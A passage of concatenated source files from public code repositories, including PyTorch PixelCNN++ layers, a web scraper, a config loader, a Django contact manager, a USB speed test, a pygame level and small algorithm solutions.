Performs batch normalisation\n return self.down_shift(x) if self.shift_output_down else x # Nawid - Down shifts x\n\n\nclass down_shifted_deconv2d(nn.Module):\n def __init__(self, num_filters_in, num_filters_out, filter_size=(2,3), stride=(1,1)):\n super(down_shifted_deconv2d, self).__init__()\n self.deconv = wn(nn.ConvTranspose2d(num_filters_in, num_filters_out, filter_size, stride,\n output_padding=1)) # Nawid - Deconvolution object which is weight normalised\n self.filter_size = filter_size\n self.stride = stride\n\n def forward(self, x):\n x = self.deconv(x)\n xs = [int(y) for y in x.size()] # Nawid - Obtains all the dimensions from the deconvolution\n return x[:, :, :(xs[2] - self.filter_size[0] + 1),\n int((self.filter_size[1] - 1) / 2):(xs[3] - int((self.filter_size[1] - 1) / 2))] # Nawid-\n\n\nclass down_right_shifted_conv2d(nn.Module):\n def __init__(self, num_filters_in, num_filters_out, filter_size=(2,2), stride=(1,1),\n shift_output_right=False, norm='weight_norm'):\n super(down_right_shifted_conv2d, self).__init__()\n\n assert norm in [None, 'batch_norm', 'weight_norm']\n self.pad = nn.ZeroPad2d((filter_size[1] - 1, 0, filter_size[0] - 1, 0)) # Nawid -Adds Padding to the left and the top ( no padding to the bottom)\n self.conv = nn.Conv2d(num_filters_in, num_filters_out, filter_size, stride=stride) # Nawid - Convolution object\n self.shift_output_right = shift_output_right # Nawid - Whether the output should be shifted\n self.norm = norm\n\n if norm == 'weight_norm':\n self.conv == wn(self.conv) #Nawid - Weighnormalisation on the convolution\n elif norm == 'batch_norm':\n self.bn = nn.BatchNorm2d(num_filters_out)\n\n if shift_output_right :\n self.right_shift = lambda x : right_shift(x, pad=nn.ZeroPad2d((1, 0, 0, 0))) # Nawid - Performs right shift and padding\n\n def forward(self, x):\n x = self.pad(x) # Nawid - Padding\n x = self.conv(x) # Nawid - Convolution\n x = self.bn(x) if self.norm == 'batch_norm' else x\n return self.right_shift(x) if self.shift_output_right else x # Nawid - Output which is potentially right shifted\n\n\nclass down_right_shifted_deconv2d(nn.Module):\n def __init__(self, num_filters_in, num_filters_out, filter_size=(2,2), stride=(1,1),\n shift_output_right=False):\n super(down_right_shifted_deconv2d, self).__init__()\n self.deconv = wn(nn.ConvTranspose2d(num_filters_in, num_filters_out, filter_size,\n stride, output_padding=1))\n self.filter_size = filter_size\n self.stride = stride\n\n def forward(self, x):\n x = self.deconv(x) # Nawid- Performs the deconvolution\n xs = [int(y) for y in x.size()] # Nawid -\n x = x[:, :, :(xs[2] - self.filter_size[0] + 1):, :(xs[3] - self.filter_size[1] + 1)]\n return x\n\n'''\nskip connection parameter : 0 = no skip connection\n 1 = skip connection where skip input size === input size\n 2 = skip connection where skip input size === 2 * input size # Nawid - This is due to concat relu I believe\n'''\nclass gated_resnet(nn.Module):# Nawid - I think this represents both of the gated resnets. If there is no auxillary variable present, then it represents the vertical gated resnet. If there is an auxillary variable present, then it can represent the horizontal layer\n def __init__(self, num_filters, conv_op, latent_dim, nonlinearity=concat_elu, skip_connection=0): # Nawid - Added a term for the latent dimensionality of the latent vector\n super(gated_resnet, self).__init__()\n self.skip_connection = skip_connection # Nawid - Decides how to set the skip connection\n self.nonlinearity = nonlinearity # Nawid - Choose the non-linearity which is concat elu\n self.conv_input = conv_op(2 * num_filters, num_filters) # cuz of concat elu\n # Nawid - The number of inputs is 2* hidden feature maps and the outputs is equal to the num_filters\n if skip_connection != 0 :\n self.nin_skip = nin(2 * skip_connection * num_filters, num_filters) #Nawid - The first parameter is equal to the input dimensions and the next parameter is equal to the output dimensions. nin ( network in network) is used to ensure that the dimensions of the auxillary variable and the other dimension are the same\n\n\n self.hw = nin(latent_dim,2*num_filters) # Nawid - Initialises the network in a network 1 x1 convolution\n\n #self.hw = nn.Linear(h.size()[-1], 2*num_filters,bias=False)\n\n\n self.dropout = nn.Dropout2d(0.5) # Nawid- Performs dropout\n self.conv_out = conv_op(2 * num_filters, 2 * num_filters) # Nawid - Convolution where the shapes are the same.\n\n def forward(self, og_x, a=None, h = None):\n x = self.conv_input(self.nonlinearity(og_x)) # Nawid - Performs the concat_elu which doubles the size and conv_input then backs it back to the original size - I think this is only related to the horizontal row\n\n if a is not None : # Nawid - a is an auxillary variable, I believe it is the output from vertical stack\n x += self.nin_skip(self.nonlinearity(a)) # Nawid - I beleive this is the addition of the skip connection - Performs concat elu non linearity to change the number of feature maps and then uses nin_skip to change the dimensions so that it matches the x variable - I think this uses the concat relu first to double the size of it and then uses nin_skip to make it so that the dimensions of the vertical stack output and the horizontal stack output are the same so they can add togheter\n\n x = self.nonlinearity(x) # Nawid- Performs concat elu non linearity to double its size\n x = self.dropout(x) # Nawid- Performs dropout\n x = self.conv_out(x) # Nawid - Performs convolution after obtaining information of the auxillary variable - Performs the output convolution which keeps its size the same\n if h is not None: # Nawid- This is when the latent term is not zero\n h_shp = h.size()\n #print(h_shp)\n h = h.view(h_shp[0], h_shp[1],1,1) # Nawid - Change into format of (N,C,H,W) -\n x += self.hw(h) # Nawid - Could check for the case where there is a non-linearity here if that makes a difference - The shape should be fine as it should broadcast to the correct shape (similar as TF repo)\n #latent_term = self.hw(h).view(x.size()[0],1,1,2*num_filters)\n #x += latent_term #torch.mm(h,hw)\n\n a, b = torch.chunk(x, 2, dim=1) # Nawid - breaks up x into 2 chunks which corresponds to the part where it undergoes a tanh and a sigmoid ( tanh does not actually occur it seems, a seems to be the tanh term which it is multiplied by)\n c3 = a * F.sigmoid(b) # Nawid- obtains c3 which I am not sure how it is obtained - C3 is the multiplication of the tanh and the sigmoid output\n return og_x + c3\n","repo_name":"CompletedProjects/AMDIM_Decoder","sub_path":"pixel-cnn-pp_V2_150220_Colab/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":10256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"10817268247","text":"from bs4 import BeautifulSoup\nimport sys\n\nsys.path.append(\"../\")\nfrom classes import House, Website\nfrom common import *\n\nbase_url = \"https://www.hausing.com\"\nurl = \"https://www.hausing.com/properties-for-rent-amsterdam\"\n\nexample_html = \"\"\n\n\ndef scrape_website(html):\n soup = BeautifulSoup(html, \"html.parser\")\n property_elements = soup.find_all(\"div\", {\"role\": \"listitem\"})\n\n house_list = []\n\n for property_elem in property_elements:\n house = House()\n\n house.city = \"Amsterdam\"\n\n # Extract street name and house number\n street_name_elem = property_elem.find(\"div\", class_=\"address\")\n if street_name_elem:\n house.address = street_name_elem.text.strip()\n\n # Extract price\n price_elem = property_elem.find_all(\"p\", class_=\"price-text-small-5\")\n if price_elem:\n price = price_elem[1].text.strip()\n price = get_price(price)\n house.price = price\n\n # Extract details\n details_elems = property_elem.find_all(\"div\", class_=\"sqm-space-right\")\n house.details[\"Rooms\"] = details_elems[0].text.strip()\n house.details[\"Area m2\"] = details_elems[2].text.strip()\n\n # Extract images\n img_elem = property_elem.find(\"img\", alt=True, srcset=True)\n if img_elem:\n srcset = img_elem[\"srcset\"]\n # Split the srcset into individual image URLs\n srcset_parts = srcset.split(\",\")\n for srcset_part in srcset_parts:\n # Extract the URL from the srcset part\n image_url = srcset_part.split()[-2].strip()\n house.images.append(image_url)\n\n # Extract link\n link_elem = property_elem.find(\"a\", class_=\"link-post\", href=True)\n if link_elem:\n house.link = base_url + link_elem[\"href\"]\n\n available = property_elem.find(\"p\", \"availability-caption-2\").text.strip()\n if available == \"Available\":\n if house.link:\n house_list.append(house)\n\n return house_list\n\n\n# Create an instance of the Website class for the new website\nwebsite = Website(url, example_html, scrape_website)\n\n# Run the scrape_example function to test the scraper\n# houses = website.scrape_example()\n\n# print('Number of houses:', len(houses))\n\n# # Print the results\n# for house in houses[::-1]:\n# house.print()\n# print()\n","repo_name":"cfuselli/DailyDutchHouse","sub_path":"websites/website_7.py","file_name":"website_7.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"71008793395","text":"import os\nimport glob\nimport inspect\n\nfrom configobj import ConfigObj\nfrom validate import Validator\n\n__all__ = [\"ConfigError\", \"Config\"]\n\nclass ConfigError(Exception):\n \"\"\"\n An error reading or writing the configuration file.\n \"\"\"\n pass\n\ndef search_confdir():\n \"\"\"\n Search for the config file, and return the directory it is in.\n 1. Environment var IVLECONF (path to directory)\n 2. /etc/ivle\n Raises a ConfigError on error.\n \"\"\"\n if 'IVLECONF' in os.environ:\n fname = os.path.join(os.environ['IVLECONF'])\n if os.path.exists(fname):\n return fname\n if os.path.exists('/etc/ivle'):\n return '/etc/ivle'\n raise ConfigError(\"Could not find IVLE config directory\")\n\ndef get_plugin(pluginstr):\n plugin_path, classname = pluginstr.split('#')\n # Load the plugin module from somewhere in the Python path\n # (Note that plugin_path is a fully-qualified Python module name).\n return (plugin_path,\n getattr(__import__(plugin_path, fromlist=[classname]), classname))\n\n_NO_VALUE = []\nclass Config(ConfigObj):\n \"\"\"\n The configuration object. Can be instantiated with no arguments (will\n implicitly find the ivle.conf file and load it).\n\n Automatically validates the file against the spec (found in\n ./ivle-spec.conf relative to this module).\n \"\"\"\n def __init__(self, blank=False, plugins=True, *args, **kwargs):\n \"\"\"Initialises a new Config object. Searches for the config file,\n loads it, and validates it.\n @param blank: If blank=True, will create a blank config instead, and\n not search for the config file.\n @param plugins: If True, will find and index plugins.\n @raise ConfigError: If the config file cannot be found.\n \"\"\"\n specfile = os.path.join(os.path.dirname(__file__), 'ivle-spec.conf')\n if blank:\n super(Config, self).__init__(configspec=specfile, *args, **kwargs)\n else:\n confdir = search_confdir()\n conffile = os.path.join(confdir, 'ivle.conf')\n super(Config, self).__init__(infile=conffile, configspec=specfile,\n interpolation='template',\n *args, **kwargs)\n # XXX This doesn't raise errors if it doesn't validate\n self.validate(Validator())\n\n if not plugins:\n return\n self.plugins = {}\n self.plugin_configs = {}\n # Go through the plugin config files, looking for plugins.\n for pconfn in glob.glob(os.path.join(confdir, 'plugins.d/*.conf')):\n pconf = ConfigObj(pconfn)\n for plugin_section in pconf:\n # We have a plugin path. Resolve it into a class...\n plugin_path, plugin = get_plugin(plugin_section)\n self.plugins[plugin_path] = plugin\n # ... and add it to the registry.\n self.plugin_configs[plugin] = pconf[plugin_section]\n\n # Create a registry mapping plugin classes to paths.\n self.reverse_plugins = dict([(v, k) for (k, v) in\n self.plugins.items()])\n\n # Create an index of plugins by base class.\n self.plugin_index = {}\n for plugin in self.plugins.values():\n # Getmro returns a tuple of all the super-classes of the plugin\n for base in inspect.getmro(plugin):\n if base not in self.plugin_index:\n self.plugin_index[base] = []\n self.plugin_index[base].append(plugin)\n\n def set_by_path(self, path, value=_NO_VALUE, comment=None):\n \"\"\"Writes a value to an option, given a '/'-separated path.\n @param path: '/'-separated path to configuration option.\n @param value: Optional - value to write to the option.\n @param comment: Optional - comment string (lines separated by '\\n's).\n Note: If only a comment is being inserted, and the value does not\n exist, fails silently.\n \"\"\"\n path = path.split('/')\n # Iterate over each segment of the path, and find the section in conf\n # file to insert the value into (use all but the last path segment)\n conf_section = self\n for seg in path[:-1]:\n # Create the section if it isn't there\n if seg not in conf_section:\n conf_section[seg] = {}\n conf_section = conf_section[seg]\n # The final path segment names the key to insert into\n keyname = path[-1]\n if value is not _NO_VALUE:\n conf_section[keyname] = value\n if comment is not None:\n try:\n conf_section[keyname]\n except KeyError:\n pass # Fail silently\n else:\n conf_section.comments[keyname] = comment.split('\\n')\n\n def get_by_path(self, path):\n \"\"\"Gets an option's value, given a '/'-separated path.\n @param path: '/'-separated path to configuration option.\n @raise KeyError: if no config option is at that path.\n \"\"\"\n # Iterate over each segment of the path, and find the value in conf file\n value = self\n for seg in path.split('/'):\n value = value[seg] # May raise KeyError\n return value\n","repo_name":"dcoles/ivle","sub_path":"ivle/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"29499439454","text":"# -*- coding:utf-8 -*-\r\n\r\n\r\nfrom evaluate import PredictService\r\n\r\n\r\nclass Report(object):\r\n\r\n def __init__(self, file_path):\r\n self.ps = PredictService()\r\n self.test_file = file_path\r\n with open(file_path, \"r\", encoding=\"utf-8\") as f:\r\n a = f.read()\r\n sentences_bio = a.split(\"\\n\\n\")\r\n self.sentences = []\r\n self.tags = []\r\n for i in sentences_bio:\r\n if len(i.lstrip(\"\\n\").rstrip(\"\\n\")) == 0:\r\n continue\r\n b = i.split(\"\\n\")\r\n sentence = \"\".join([i.split(\" \")[0] for i in b]).lstrip(\"\\n\").rstrip(\"\\n\")\r\n print(sentence)\r\n tag = []\r\n for i in b:\r\n cut_line = i.split(\" \")\r\n if len(cut_line) > 1:\r\n tag.append(cut_line[1])\r\n\r\n self.sentences.append(sentence)\r\n self.tags.append(tag)\r\n\r\n\r\n def slots_performance(self):\r\n chosens = self.get_tags()\r\n\r\n for chosen in chosens:\r\n print(\"槽位:\", chosen)\r\n num_correct = 0\r\n num_proposed = 0\r\n num_gold = 0\r\n for _id, sentence in enumerate(self.sentences):\r\n predict_result = self.ps.predict(sentence)\r\n for pre_id, pre_tag in enumerate(predict_result[0]):\r\n if pre_tag == self.tags[_id][pre_id] and chosen in self.tags[_id][pre_id]:\r\n num_correct += 1\r\n if chosen in pre_tag:\r\n num_proposed += 1\r\n if chosen in self.tags[_id][pre_id]:\r\n num_gold += 1\r\n precision = num_correct / num_proposed\r\n recall = num_correct / num_gold\r\n print(\"precision:\", precision)\r\n print(\"recall:\", recall)\r\n print(\"F1:\", 2 * precision * recall / (precision + recall))\r\n\r\n\r\n\r\n def cal_total_performance(self):\r\n num_correct = 0\r\n num_proposed = 0\r\n num_gold = 0\r\n \"\"\"\r\n 总体性能:\r\n precision = num_correct / num_proposed\r\n recall = num_correct / num_gold\r\n f1 = 2 * precision * recall / (precision + recall)\r\n \"\"\"\r\n for _id, sentence in enumerate(self.sentences):\r\n right_flag = True\r\n predict_result = self.ps.predict(sentence)\r\n for pre_id, pre_tag in enumerate(predict_result[0]):\r\n if pre_tag == self.tags[_id][pre_id] and self.tags[_id][pre_id] != \"O\":\r\n num_correct += 1\r\n if pre_tag != self.tags[_id][pre_id]:\r\n right_flag = False\r\n if pre_tag != \"O\":\r\n num_proposed += 1\r\n if self.tags[_id][pre_id] != \"O\":\r\n num_gold += 1\r\n if not right_flag:\r\n print(\"句子:\", sentence)\r\n print(\"标注:\", self.tags[_id])\r\n print(\"预测为:\", predict_result[0])\r\n print(\"*****************\")\r\n precision = num_correct / num_proposed\r\n recall = num_correct / num_gold\r\n print(\"总体性能precision:\", precision)\r\n print(\"总体性能recall:\", recall)\r\n print(\"总体性能F1:\", 2 * precision * recall / (precision + recall))\r\n\r\n\r\n def get_tags(self):\r\n tag = set()\r\n for sentence_tag in self.tags:\r\n for i in sentence_tag:\r\n if i == \"O\":\r\n continue\r\n else:\r\n tag.add(i.lstrip(\"B-\").lstrip(\"I-\"))\r\n return tag\r\n\r\n\r\nif __name__ == \"__main__\":\r\n Report(\"data/data_gen0610/test.txt\").main2()\r\n","repo_name":"lzphahaha/Chinese_sequence_tagging_tools","sub_path":"性能评估.py","file_name":"性能评估.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"3108995303","text":"def combinationSum3(k, n, nums):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n if k == 1 and n in nums:\n return [[n]]\n elif k > 1:\n A = []\n B = []\n for i in range(len(nums)):\n A=A+(combinationSum3(k-1,n-nums[i],nums[i+1:]))\n for i in range(len(A)):\n if len(A[i]) == k-1:\n B.append([n-sum(A[i])] + A[i])\n return B\n else:\n return []\n\ncombinationSum3(3,9,range(1,10))\n","repo_name":"sziegler11-zz/leetcode","sub_path":"LC216.py","file_name":"LC216.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"2438155035","text":"#Import modules\r\nimport pygame\r\nfrom display_settings import *\r\nimport platforms\r\n\r\n#I had some help getting an idea of how to create this through this video https://www.youtube.com/watch?v=OmlQ0XCvIn0\r\nclass Level(): \r\n\r\n #List of platforms\r\n platform_list = []\r\n\r\n # Background image\r\n background = None\r\n\r\n #Shifting in the x-axis\r\n world_shift = 0\r\n level_limit = -1000\r\n\r\n def __init__(self, player):\r\n self.platform_list = pygame.sprite.Group()\r\n self.player = player\r\n\r\n # Update everything in this course\r\n def update(self):\r\n self.platform_list.update()\r\n\r\n def draw(self, screen):\r\n\r\n #Depth effect - Watched a YouTube Video: https://www.youtube.com/watch?v=i0PaigPo6KM\r\n screen.blit(self.background,(self.world_shift // 3,0))\r\n\r\n # Draw platforms\r\n self.platform_list.draw(screen)\r\n\r\n #Shift the course\r\n def shift_world(self, shift_x):\r\n self.world_shift += shift_x\r\n\r\n for platform in self.platform_list:\r\n platform.rect.x += shift_x\r\n\r\n# Create platforms for the course\r\nclass Course(Level):\r\n\r\n def __init__(self, player):\r\n\r\n Level.__init__(self, player)\r\n\r\n #Load Background\r\n self.background = pygame.image.load(\"images\\\\background_01.png\")\r\n\r\n #Generate the platforms relatve to one another and make it challenging\r\n z=0\r\n x=700\r\n y=550\r\n level=[]\r\n while z<100:\r\n z+=1\r\n\r\n if y>=550: \r\n level.append([platforms.plat_l,x,y])\r\n level.append([platforms.plat_m,x+70,y])\r\n level.append([platforms.plat_r,x+140,y])\r\n y-=220\r\n x+=280\r\n \r\n if y<550:\r\n level.append([platforms.plat_l,x,y])\r\n level.append([platforms.plat_m,x+70,y])\r\n level.append([platforms.plat_r,x+140,y])\r\n x+=280\r\n y+=200\r\n\r\n #To be able to properly implement the platforms, I read through pages 251-252 of the book called \"Program Arcade Games: With Python and Pygame\" by Paul Craven and also read this: https://www.pygame.org/docs/ref/rect.html \r\n for platform in level:\r\n block = platforms.Platform(platform[0])\r\n\r\n #X-position\r\n block.rect.x = platform[1]\r\n\r\n #Y-position\r\n block.rect.y = platform[2]\r\n \r\n block.player = self.player\r\n\r\n #Add to list\r\n self.platform_list.add(block)\r\n","repo_name":"Shazil-R/Ninja-Warrior","sub_path":"course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"4589972051","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse_lazy\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom accounts.mixins import UserIsOwnerMixin\nfrom django.utils import timezone\nfrom django.contrib import messages\nfrom django.views.generic import ListView, DetailView, UpdateView, DeleteView\n\nfrom openpyxl import Workbook, load_workbook\nfrom .forms import ContactForm\nfrom .models import Contact, PostCard\n\nclass DashboardView(LoginRequiredMixin, ListView):\n Model = Contact\n template_name = \"contacts_list.html\"\n context_object_name = 'contacts'\n\n def get_queryset(self):\n queryset = Contact.objects.filter(created_by=self.request.user).order_by('last_name', 'first_name')\n return queryset\n \n\n@login_required\ndef contact_new(request):\n if request.method == 'POST':\n form = ContactForm(request.POST, request.FILES)\n if form.is_valid():\n new_contact = form.save(commit=False)\n new_contact.created_by = request.user\n new_contact.save()\n messages.success(request,'New Contact Added')\n return redirect(reverse_lazy('contact_detail', kwargs={'pk':new_contact.pk}))\n else:\n form = ContactForm()\n return render(request, 'contact_form.html', {'form': form, 'form_title': 'New Contact'})\n\n\n\nclass ContactEdit(LoginRequiredMixin, UserIsOwnerMixin, UpdateView):\n model = Contact\n form_class = ContactForm\n template_name = 'contact_form.html'\n\n def get_context_data(self, **kwargs):\n context = super(ContactEdit, self).get_context_data(**kwargs)\n context['form_title'] = f'Edit Contact: {self.object.first_name} {self.object.last_name}'\n return context\n \n def get_success_url(self):\n return reverse_lazy('contact_detail', kwargs={'pk': self.kwargs['pk']})\n\n\nclass ContactDetail(LoginRequiredMixin, UserIsOwnerMixin, DetailView):\n model = Contact\n template_name = \"contact_detail.html\"\n\n def get_context_data(self, **kwargs):\n context = super(ContactDetail, self).get_context_data(**kwargs)\n context['can_send_postcard'] = self.object.can_send_postcard\n context.update(dict((field.name, getattr(self.object, field.name)) for field in self.object._meta.fields))\n context['postcards'] = PostCard.objects.filter(contact=self.object).order_by('-time_sent')\n return context\n\n\nclass ContactDelete(LoginRequiredMixin, UserIsOwnerMixin, DeleteView):\n model = Contact\n template_name = 'contact_confirm_delete.html'\n success_url = reverse_lazy('dashboard')\n\n@login_required\ndef send_postcard(request, *args, **kwargs):\n contact = get_object_or_404(Contact, pk=kwargs['pk'], created_by=request.user)\n can_send = contact.can_send_postcard\n if request.method == 'POST' and can_send:\n postcard = PostCard(contact=contact, time_sent=timezone.now())\n postcard.save()\n messages.success(request,'Postcard Send!')\n return redirect(reverse_lazy('contact_detail', kwargs={'pk':contact.pk}))\n return render(request, 'confirm_send_postcard.html', {'object':contact, 'can_send':can_send})\n\n@login_required\ndef export_xls(request):\n contacts = Contact.objects.filter(created_by=request.user)\n workbook = Workbook()\n\n sheet = workbook.active\n sheet.title = \"Contacts\"\n sheet['A1'] = 'First Name'\n sheet['B1'] = 'Last Name'\n sheet['C1'] = 'Address 1'\n sheet['D1'] = 'Address 2'\n sheet['E1'] = 'City'\n sheet['F1'] = 'State'\n sheet['G1'] = 'Zip Code'\n\n for index, contact in enumerate(contacts, start=2):\n sheet[f'A{index}'] = contact.first_name\n sheet[f'B{index}'] = contact.last_name\n sheet[f'C{index}'] = contact.address1\n sheet[f'D{index}'] = contact.address2\n sheet[f'E{index}'] = contact.city\n sheet[f'F{index}'] = contact.state\n sheet[f'G{index}'] = contact.zip_code\n\n response = HttpResponse(\n content_type='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n )\n response['Content-Disposition'] = 'attachment; filename=ReallySimpleCRMExport.xlsx'\n workbook.save(response)\n return response\n\n@login_required\ndef import_xls(request):\n if request.method == 'POST':\n workbook = load_workbook(request.FILES['xls'])\n sheet = workbook.active\n new_contacts = []\n for row in sheet.iter_rows(min_row=2):\n contact = Contact(\n first_name=row[0].value,\n last_name=row[1].value,\n address1=str(row[2].value or ''),\n address2=str(row[3].value or ''),\n city=str(row[4].value or ''),\n state=str(row[5].value or ''),\n zip_code=str(row[6].value or ''),\n created_by=request.user\n )\n new_contacts.append(contact)\n Contact.objects.bulk_create(new_contacts)\n messages.success(request,'Excel Sheet Imported!')\n return redirect(reverse_lazy('dashboard'))\n return render(request, 'import_xls.html')","repo_name":"jerempy/reallysimplecrm","sub_path":"crm/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"32392378431","text":"#!/usr/bin/env python3\nimport time, argparse, libusb, math\nimport matplotlib.pyplot as plt\nimport ctypes as ct\n\ndef initUSBDevice():\n if libusb.init(None) < 0:\n print(\"failed to init libusb!\")\n return\n # 获取设备\n devs = ct.POINTER(ct.POINTER(libusb.device))()\n count = libusb.get_device_list(None, devs)\n if count < 0:\n print(\"failed to get device list!\")\n return\n targetDev = None\n for dev in devs:\n desc = libusb.device_descriptor()\n if libusb.get_device_descriptor(dev, ct.byref(desc)) < 0:\n print(\"failed to get device descriptor.\")\n return\n if desc.idVendor == 0x2413 and desc.idProduct == 0x0c4c:\n print(\"Found Device!\")\n targetDev = dev\n break\n\n handle = ct.POINTER(libusb.device_handle)()\n # 打开设备和自动挂载\n if libusb.open(targetDev, ct.byref(handle)) != libusb.LIBUSB_SUCCESS or libusb.set_auto_detach_kernel_driver(handle, 1):\n return None\n # 注册接口\n if libusb.claim_interface(handle, 1) != libusb.LIBUSB_SUCCESS:\n return None\n return handle\n\ndef writeUSB(handle, data):\n readLength = ct.c_int()\n writeData = (ct.c_uint8 * len(data))(*data)\n startTime = time.time()\n libusb.bulk_transfer(handle, ct.c_uint8(0x01), ct.cast(writeData, ct.POINTER(ct.c_uint8)), ct.c_int(len(data)), ct.pointer(readLength), ct.c_uint(100))\n stopTime = time.time()\n return (stopTime - startTime) * 1000\n\ndef readUSB(handle, length):\n buffer = (ct.c_ubyte * length)()\n readLength = ct.c_int()\n startTime = time.time()\n libusb.bulk_transfer(handle, ct.c_uint8(0x81), ct.cast(buffer, ct.POINTER(ct.c_uint8)), ct.c_int(length), ct.pointer(readLength), ct.c_uint(100))\n stopTime = time.time()\n buffer = list(buffer)\n return (buffer[:readLength.value], (stopTime - startTime) * 1000)\n\ndef main(args):\n count = 1\n canID = 0x2FF << 1\n testCount = 100\n oneCountLength = 5\n speedList = []\n xAxis = range(1, testCount + 1)\n sendData = []\n while len(sendData) / 16 < oneCountLength: \n cmdID = 10 + count % 2\n count = count + 1\n sendData += [0xAA, cmdID, 12]\n sendData += [0xAA ^ cmdID ^ 12]\n sendData += canID.to_bytes(4, \"big\")\n sendData += count.to_bytes(8, \"big\")\n handle = initUSBDevice()\n # 清除缓存数据\n for x in range(10):\n (recvData, readTime) = readUSB(handle, len(sendData))\n while len(speedList) < testCount:\n count = count + 1\n startTime = time.time()\n for x in range(math.ceil(len(sendData) / 2047)):\n writeUSB(handle, sendData[2046 * x : 2046 * (x + 1)])\n recvData = []\n packetCount = 0\n while True:\n (tmpRecvData, readTime) = readUSB(handle, len(sendData))\n recvData += tmpRecvData\n packetCount = packetCount + 1\n if len(recvData) == len(sendData):\n break\n stopTime = time.time()\n speedList.append(len(sendData) * 2 * 1 / (stopTime - startTime) / 1000)\n print(\"Testing....\", str(round(len(speedList) / testCount * 100, 1)) + \"%\")\n plt.title('USB CAN Loopback Speed Test')\n plt.xlabel('Time')\n plt.ylabel('Bidirectional(Tx + Rx) Speed (kByte/s)')\n plt.plot(xAxis, speedList)\n plt.show()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='test usb serial speed and plot.')\n args = parser.parse_args()\n main(args)","repo_name":"kinetic-robotics/ros_robot_common","sub_path":"debug_tools/scripts/test_usb_can_speed.py","file_name":"test_usb_can_speed.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"8853248138","text":"#!/usr/bin/python3\n\n\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n res = nums[0]\n for i in nums[1:]:\n res ^= i\n return res\n\n\nsol = Solution()\nresult = sol.singleNumber([4,1,2,1,2])\nprint(result)","repo_name":"catchonme/algorithm","sub_path":"Python/136.single-number.py","file_name":"136.single-number.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"12379682273","text":"from twilio.rest import Client\n\nstandardPhoneNumberSize = 10\n\nclass TextMessageManager:\n\t\n\t# SID and AuthToken from Twilio account. Supply your own to the class.\n\t# twilioPhoneNum should be passed in as a string\n\tdef __init__(self, accountSID, accountAuthToken, twilioPhoneNum):\n\t\tself.client = Client(accountSID, accountAuthToken)\n\t\tself.twilioPhoneNum = twilioPhoneNum \n\n\t# phone #s should be passed in as strings to avoid integer overflow\n\t# Note: from # must be a Twilio number\n\tdef sendTextMessage(self, recipientPhoneNum, msgBody):\n\t\t\n\t\t# Adding '+1' to numbers if they are not already appended\n\t\tif (len(recipientPhoneNum) == standardPhoneNumberSize):\n\t\t\trecipientPhoneNum = '+1' + recipientPhoneNum\n\t\t\n\t\tif (len(self.twilioPhoneNum) == standardPhoneNumberSize):\n\t\t\tself.twilioPhoneNum = '+1' + self.twilioPhoneNum\n\n\t\tself.client.messages.create(to=recipientPhoneNum, \n \t\t\t\tfrom_= self.twilioPhoneNum,\n \t\t\t\tbody=msgBody)\n\n\n\t# Helpers\n\tdef createCourseAvailableMsg(self, courseNum, courseSection, subject):\n\t\tcourseAvailMsg = 'LEC 00' + str(courseSection) + ' of ' + subject + ' ' + str(courseNum)\n\t\tmsgIntro = 'Hey UWaterloo Student! You\\'re in luck!\\n\\n' + courseAvailMsg + ' is now available!\\n \\n'\n\t\tmsgOutro = 'What are you waiting for!? Head on over to Quest now! Godspeed my little goosling!\\n -Mr. Goose'\n\t\tfinalMsg = msgIntro + msgOutro\n\n\t\treturn finalMsg","repo_name":"s3wasser/WATcher","sub_path":"TextMessageManager.py","file_name":"TextMessageManager.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"73957193395","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAuthor: Annika Guenther, annika.guenther@pik-potsdam.de\nLast updated in 06/2020.\n\"\"\"\n\n# %%\ndef get_table(path_to_file):\n \n gwp = 'AR4'\n unit = 'MtCO2eq'\n \n # Get table and convert the units.\n table = hpf.import_table_to_class_metadata_country_year_matrix(\n path_to_file)\n \n table.ent = (table.ent if hasattr(table, 'ent') else table.entity.replace('AR4', ''))\n table.cat = (table.cat if hasattr(table, 'cat') else table.category)\n table.__convert_unit__(unit, entity=table.ent, gwp=gwp)\n \n return table\n\n# %%\nimport pandas as pd\nfrom pathlib import Path\nfrom setup_metadata import setup_metadata\nimport helpers_functions as hpf\n\n# %%\nmeta = setup_metadata()\n\n# %%\n# Covered part of emissions: globally.\n# Pay attention to the countries that do not have (I)NDCs.\nndcs = pd.read_csv(Path(meta.path.preprocess, 'infos_from_ndcs.csv'), index_col=0).reindex(index=meta.isos.EARTH)\ncountries_without_indc = [xx for xx in meta.isos.EARTH if (type(ndcs.loc[xx, 'NDC_INDC']) != str or ndcs.loc[xx, 